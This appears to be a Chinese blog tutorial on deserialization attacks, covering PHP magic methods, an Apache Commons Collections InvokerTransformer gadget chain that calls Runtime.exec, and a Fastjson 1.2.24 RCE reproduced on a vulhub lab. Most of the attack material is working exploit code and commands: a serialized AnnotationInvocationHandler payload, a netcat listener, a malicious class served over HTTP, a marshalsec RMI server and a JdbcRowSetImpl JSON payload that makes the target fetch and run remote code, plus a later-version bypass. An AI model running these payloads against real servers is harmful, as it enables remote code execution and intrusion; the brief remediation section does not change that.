0
点赞
收藏
分享

微信扫一扫

反序列化漏洞渗透与利用(PHP、Apache Commons Collections、FastJson)

小_北_爸 2022-04-15 阅读 22
web安全

反序列化漏洞渗透与利用

1 PHP反序列化漏洞

1.1 PHP类与对象

  • PHP定义类:

    <?php
    class phpClass {
      var $var1;
      var $var2 = "constant string";
    function myfunc ($arg1, $arg2) {
         [..]
      }
      [..]
    }
    ?>
    
    • 类使用 class 关键字后加上类名定义。
    • 类名后的一对大括号({})内可以定义变量和方法。
    • 类的变量使用 var 来声明, 变量也可以初始化值。
    • 变量 $this 代表自身的对象
    • 函数定义类似 PHP 函数的定义,但函数只能通过该类及其实例化的对象访问。
  • PHP创建对象

    <?php
        class Animal {
          /* 成员变量 */
          var $name;
          var $age;
    
          /* 成员函数 */
          function setName($par){
             $this->name = $par;
          }
    
          function getName(){
             echo $this->name . PHP_EOL;
          }
    ?>
    
    $dog = new Animal;
    
  • PHP调用成员方法

    // 调用成员函数,设置名字
    $dog->setName( "神鬣" );
    // 调用成员函数,获取名字
    $dog->getName();
    
  • PHP构造函数

    function __construct( $par1, $par2 ) {
       $this->name = $par1;
       $this->age = $par2;
    }
    //创建对象
    $dog = new Animal('神鬣', '2');
    

1.2 PHP Magic函数

函数作用
__construct当一个对象被创建时被调用
__destruct当一个对象销毁时被调用
__toString当一个对象被当作一个字符串使用
__sleep在对象被序列化之前运行
__wakeup在对象被反序列化之后被调用
__serialize()对对象调用serialize()方法,PHP7.4.0起
__unserialize()对对象调用unserialize()方法,PHP7.4.0起

1.3 PHP序列化和反序列化

1.3.1 序列化

$number = 32;
$str = 'asdfg';
$bool = false;
$null = Null;
$arr = array('aa' => 1,'bbb' => 9);
$obj = new SerialType('scmestr', true);

var_dump(serialize($number));
//以下为输出
string(5) "i:32;"
string(13) "s:6:"asdfg";"
string(4) "b:0;"
string(2) "N;"
string(34) "a:2:{s:2:"aa";i:1;s:4:"bbb";i:9;}"
string(75) "O:10:SerialType:2:{s:4:"data";s:7:"scmestr";s:16:"SerialTypepass";b:1;}"
//转换为JSON字符串
$tojs = json_encode($obj);
//转换为XML
$toxml = wddx_serialize_value($obj);
  • 部分序列化

    //重载序列化调用的方法
    public function __sleep()
    {
        //返回许哟啊序列化的变量名,过滤掉变量password
        return array('name','age');
    }
    

1.3.2 反序列化

unserialize()函数对单一的已序列化的变量进行操作,将其转换回PHP的值。

  • 如果传递的字符串不可以序列化,则返回false;

  • 如果对象没有预定义,反序列化得到的对象是_PHP_Incomplete_Class

  • 会自动调用Magic函数__serialize()

  • 反序列化过程中可以修改数据

1.3.3 反序列化漏洞出现

  • unserialize()函数的参数可控,比如通过GET请求传参(漏洞触发点)
  • 脚本中定义了有Magic方法,方法里有向php文件读写数据或者执行命令的操作,比如__destruct()、unlink()
  • 读写的内容需要有对象中的成员变量的值,比如filename

2 Java反序列化漏洞

重写了readObject()的类:

package sun.reflect.annotation;
AnnotationInvocationHandler();

package javax.management;
BadAttributeValueExpException();

3 Apache Commons Collections反序列化漏洞

3.1 环境配置

在Java项目中引入依赖

<dependency>
	<groupld>commons-collections</groupld>
    <artifactld>commons-collections</artifactld>
    <version>3.1</version>
</dependency>

3.2 反射

3.2.1 Java反射机制

//初始化一个Runtime类fanshe
Class fanshe = Class.forName("java.lang.Runtime");
//调用Runtime类中的个体Runtime方法得到Runtime类的对象fs
Object fs = fanshe.getMethod("getRuntime").invoke(fanshe);
//调用上文得到的对象fs的方法即可
fanshe.getMethod("exec",String.class).invoke(fs,"calc");

3.2.2 Commons Collectiongs关键类

  • InvokeTransformer

    利用Java反射机制来创建类实例

  • ChainedTransformer

    实现了Transformer链式调用,只需传入一个Transformer数组即可实现依次调用每一个Transformer的transform方法

  • ConstantTransformer

    transform()返回构造函数的对象

  • TransformedMap

在这里插入图片描述

3.2.3 poc构造思路

  1. InvokerTransformer 反射执行代码
  2. ChainedTransformer 链式调用,自动触发
  3. ConstantTransformer 获得对象
  4. TransformedMap 元素变化执行transform,setValue——checkSetValue
  5. AnnotationInvocationHandler readObject调用Map的setValue
public void invokeTest(){
    //创建实例传入构造方法参数
    InvokerTransformer it = new InvokerTransformer(
    	"exec(方法名)",new Class[]{String.class},newString[]{"Calc.exe程序名"}
    );
    //通过反射机制依次获得Runtime类、getRuntime构造方法,最后生成Runtime实例
    Object input = Runtime.getRuntime();
    it.transform(input);
}
public void main(String[] args){
    Transformer[] transformers = new Transformer[]{
        //获得Runtime类对象
        new ConstantTransformer(Runtime.class),
        //传入Runtime类对象,反射执行getMethod获得getRuntime方法
        new InvokerTransformer(
        	"getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}
        ),
        //传入getRuntime方法 反射执行invoke方法得到Runtime实例
        new InvokerTransformer(
        	"invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}
        ),
        //传入Runtiem实例执行exec方法
        new InvokerTransformer(
        	"exec",new Class[]{String.class},new Object[]{"Calc.exe"}
        )
    };
    
    ChainedTransformer cT = new ChainedTransformer(transformers);
    cT.transform(null);
}

调用流程:

  1. 对利用类AnnotationInvocationHandler进行序列化,然后交给Java反序列化

  2. 在进行反序列化时,会执行readObject()方法,该方法会用setValue对成员变量TransformedMap的Value值进行修改

  3. value修改触发了TransformedMap实例化时传入的参数

    InvokerTransformer的checkSetValue——transform()方法

  4. 放到Map里的是InvokeTransformer数组,transform()方法被依次调用

  5. InvokerTransformer.transform()方法通过反射,调用Runtime.getRuntime.exec(“命令程序”)函数来执行系统命令

    Map innermap = new Hashmap();
    innermap.put("value","value");
    Map outermap = TransformedMap.decorae(innermap,null,chainedTransformer);
    //构造包含恶意map的AnnotationInvocationHandler对象
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor cst - cl.getDeclaredConstructor(Class.class,Map.class);
    cst.setAccessible(true);
    Object exploitObj = cst.newInstance(Traget.class,outermap);
    //序列化
    FileOutputStream fos = new FileOutputStream("payload.bin");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(exploitObj);
    oos.close();
    //反序列化
    FileInputStream fis = new FileInputStream("payload.bin");
    ObjectInputStream ois = new ObjectInputStream(fis);
    Object result = ois.readObject();
    ois.close();
    

4 Fastjson反序列化漏洞

4.1 反序列化的方法

//返回实际类型的对象
Object returnObj = JSON.parseObject(serializedStr,returnObject.class);
//返回JsonObject对象
Object obj = JSON.parse(serializedStr);
//子类中包含接口或抽象类时,类型丢失
{"@type":"com.xxx.User","age":2,"flag":false,"name":"zhangsan"}

4.2 利用类

com.sun.rowset.JdbcRowSetImpl

使用时会引入一个dataSourceName支持传入一个rmi数据源,可以实现JNDI、LDAP端口注入攻击。

4.3 漏洞复现

4.3.1 部署vulhub靶场

  • git clone https://github.com/vulhub/vulhub.git
    #配置JRE1.8.0
    
  • cd vulhub/fastjson/1.2.24-rce
    docker-compose build
    docker-compose up -d
    
  • docker-compose ps
    docker ps
    
  • 根据靶场的IP和端口来访问
    
  • #关闭
    docker-compose down
    

4.3.2 Kali攻击

  • nc -lvp 9001 9001是反弹链接的端口

  • 编译好一个LinuxTouch类

    public class LinuxTouch{
        public LinuxTouch(){
            Runtime.getRuntime.exec("touch /tmp/fast-success.txt");
        }
        public static void main(Sring[] args){
            LinuxTouch e = new LinuxTouch();
        }
    }
    

    LinuxTouch.java放到jdkbin目录下进行编译,生成LinuxTouch.class

  • LinuxTouch.class放到apache目录下启动HTTP服务,这样用户访问该页面后就会自动下载恶意代码

    python -m http.server 8089 #python3

  • 下载漏洞利用工具 _,启动RMI服务并与恶意代码关联

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP/#LinuxTouch" 9473

  • payload

    POST /HTTP/1.1
    Host:xxxxxxxx
    ...
    Content-Type:application/json
    Content-Length:146
    {
    	"x":{
    		"@type":"com.sun.rowset.JdbcRowSetImpl",
    		"dataSourceName":"rmi://IP/LinuxTouch",
    		"autoCommit":true
    	}
    }
    

4.3.3 总结

  1. 序列化字符准备类名、dataSourceName属性和autoCommit属性
  2. JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()
  3. setAutoCommit()调用connect()
  4. connect()调用lookup()链接到LDAP/RMI服务器
  5. 下载恶意代码到本地,执行攻击

4.4 fastjson_1.2.27

需要在payload中添加如下内容:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
}

利用Java中的缓存

4.5 漏洞挖掘

  • 找到发送JSON序列化数据的接口
  • 判断是否使用fastjson
    • 传入不完整或错误的json数据,{"xx":"查看返回的数据是否暴露
    • 使用dnslog探测
  • 使用Burp插件

5 漏洞修复

  • 升级JDK
  • 升级Fastjson到最新版
  • 使用安全产品过滤
  • 更换其他序列化工具Jackson/Gson
举报

相关推荐

0 条评论